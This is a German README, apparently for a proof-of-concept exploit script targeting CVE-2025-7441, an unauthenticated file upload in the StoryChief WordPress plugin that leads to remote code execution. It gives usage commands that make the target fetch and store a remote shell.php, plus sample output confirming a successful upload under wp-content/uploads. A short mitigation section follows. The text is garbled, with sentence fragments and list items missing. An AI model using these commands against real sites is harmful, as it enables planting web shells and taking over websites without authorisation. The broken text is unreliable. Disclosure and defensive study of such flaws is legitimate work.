
StoryChief <= 1.0.42 - Nicht authentifizierter beliebiger Dateiupload
/wp-json/storychief/webhookdata.featured_image.data.sizes.full) und führt einen serverseitigen HTTP-GET auf diese URL ohne ausreichende Validierung durch (kein Domain-Allowlist, unzureichende MIME-/Inhaltsprüfungen, und Dateien werden unter öffentlichen Upload-Pfaden gespeichert).wp-content/uploads/YYYY/MM/<dateiname>). Wenn die hochgeladene Datei vom Server interpretiert/ausgeführt werden kann (z. B. eine PHP-Datei, sofern der Server PHP-Ausführung dort erlaubt), führt dies zur Remote-Code-Ausführung (RCE) und vollständigen Kompromittierung der Website.CVE-2025-7441)Dieses Skript automatisiert den typischen Ablauf zur Überprüfung der Ausnutzbarkeit der Schwachstelle:
data.featured_image.data.sizes.full platziert.meta.mac.<site_url>/wp-json/storychief/webhook.<site_url>/wp-content/uploads///
Wenn die Datei mit HTTP 200 antwortet, meldet das Skript Erfolg; andernfalls gibt es <upload fehlgeschlagen> aus.
Das Skript enthält die folgenden Flags: --file-url, --verbose, --use-curl und --retries.
python3 CVE-2025-7441.py <site_url>
<site_url> — Basis-URL der Zielseite. Beispiel: http://127.0.0.1:5000/ oder https://target.example/--file-url — Überschreibt die Standard-Remote-Datei-URL, die der PoC verwendet. Standard: fest codierte Beispiel-Raw-GitHub-URL. Beispiel: --file-url https://127.0.0.1:5000/zip.php--verbose — Aktiviert ausführliche Ausgabe (zeigt Anforderungs-/Antwortdetails und Überprüfungsfortschritt).--use-curl — Verwendet einen curl-Unterprozess zum Senden des POST (Fallback-Modus). Erfordert installiertes curl.--retries — Anzahl der Versuche, den erwarteten Upload-Pfad auf die Datei zu überprüfen. Standard: 1. Verwenden Sie z. B. --retries 5, um mehrmals abzufragen.python3 CVE-2025-7441.py http://127.0.0.1:5000/
Eine benutzerdefinierte Remote-Datei-URL angeben
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php
Ausführliche Ausgabe und mehrere Überprüfungen
python3 CVE-2025-7441.py http://127.0.0.1:5000/ --file-url https://example.com/shell.php --verbose --retries 5
Verwendung von curl zum Senden des POST
python3 CVE-2025-7441.py http://127.0.0.1:5000 --file-url https://example.com/shell.php --use-curl --verbose
Ausgabe:
[*] Target: https://127.0.0.1:5000
[*] file_url: https://127.0.0.1:5000/ZIP.php
[*] retries: 3
[*] use_curl: False
[+] computed hmac : 3f2a9b0e4d6c5a1f0b9d6e3c2a1f4b5c6d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1
[*] Sending POST via requests...
[*] POST status: 200
[*] Response body (truncated):
{"permalink":"/wp-content/uploads/2025/10/ZIP.php","id":12345}
[*] Checking (1/3): https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
[+] success! [+]
https://127.0.0.1:5000/wp-content/uploads/2025/10/ZIP.php
Gegenmaßnahmen und Behebung Kurzfristig:
/wp-json/storychief/webhook über WAF oder Server-Regeln.Entwicklerhinweise:
wp-content/uploads.